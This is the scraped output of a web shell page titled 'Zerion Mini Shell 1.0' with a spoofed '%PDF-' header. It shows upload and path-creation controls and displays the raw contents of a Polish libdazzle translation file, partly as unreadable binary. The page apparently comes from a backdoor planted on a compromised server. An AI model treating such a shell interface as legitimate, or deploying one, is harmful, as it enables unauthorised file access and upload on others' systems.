%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/pl/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/pl/LC_MESSAGES/libdazzle-1.0.mo

��?Yp$q����	��+�%4=DV	b'l,� �-�$5GX_y������/��#*=L]jqu�	�!���/��	&	9	O	f	l		q		{	�		�	�	�	�	��	9y��
���<4I	~����8�<�7%
J]
2�
�
�

%
AObx~
��,�����/FS[at{1���>�!8T&r'�	������:9-.;0	#"='
1?,2$8+<!% 
&/*7>)6(453About %u year agoAbout %u years agoAbout a year agoAccelerator Size GroupActionAn hour agoBrowse…CancelCannot convert “%s” into a valid NSURL.Cannot locate property %s in class %sCategoryCreateDefault ShortcutsDescriptionDirectoryEnter new shortcut to change <b>%s</b>.Error converting UTF-8 filename to wide charFailed to find property %s in %sFailed to find property %s in %s or parent %sFailed to retrieve va_list value: %sFile path is NULLFilter ShortcutsHeightILCreateFromPath() failedJust nowKeyboard ShortcutsMaximum HeightModelNameNo Results FoundOpenPress Escape to cancel or Backspace to disable.Rotate clockwiseRotate counterclockwiseSaveSearchSearch PreferencesSearch ResultsSearch ShortcutsSection NameSelectSetSet ShortcutShortcutShortcutsThe directory to list files from.TitleTitle Size GroupTraversal order %u is not supported on DzlTrie.Try a different searchTwo finger pinchTwo finger stretchTwo finger swipe leftTwo finger swipe rightValueViewView NameYesterday_Select_Show Allchange-current-pageclosesearchProject-Id-Version: libdazzle
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libdazzle/issues
PO-Revision-Date: 2022-03-17 13:49+0100
Last-Translator: Piotr Drąg <piotrdrag@gmail.com>
Language-Team: Polish <community-poland@mozilla.org>
Language: pl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);
Około %u rok temuOkoło %u lata temuOkoło %u lat temuOkoło rok temuGrupa rozmiarów skrótówDziałanieGodzina temuPrzeglądaj…AnulujNie można konwertować „%s” na prawidłowy adres NSURL.Nie można odnaleźć właściwości %s w klasie %sKategoriaUtwórzDomyślne skrótyOpisKatalogProszę wprowadzić nowy skrót, aby zmienić <b>%s</b>.Błąd podczas konwersji nazwy pliku UTF-8 na szerokie znakiOdnalezienie właściwości %s w %s się nie powiodłoOdnalezienie właściwości %s w %s lub nadrzędnym %s się nie powiodłoOdebranie wartości va_list się nie powiodło: %sŚcieżka do pliku wynosi NULLFiltrowanie skrótówWysokośćILCreateFromPath() się nie powiodłoPrzed chwiląSkróty klawiszoweMaksymalna wysokośćModelNazwaBrak wynikówOtwórzKlawisz Esc anuluje, a Backspace wyłączy.Obrócenie w prawoObrócenie w lewoZapiszWyszukiwanieWyszukiwanie preferencjiWyniki wyszukiwaniaWyszukiwanie skrótówNazwa sekcjiWybierzUstawUstawienie skrótuSkrótSkrótyKatalog, z którego wyświetlić listę plików.TytułGrupa rozmiarów tytułówKolejność przechodzenia %u nie jest obsługiwana w DzlTrie.Proszę spróbować innych słówŚciśnięcie dwoma palcamiRozciągnięcie dwoma palcamiPrzeciągnięcie dwoma palcami w lewoPrzeciągnięcie dwoma palcami w prawoWartośćWidokNazwa widokuWczoraj_Wybierz_Wyświetl wszystkiechange-current-pageclosesearch

Zerion Mini Shell 1.0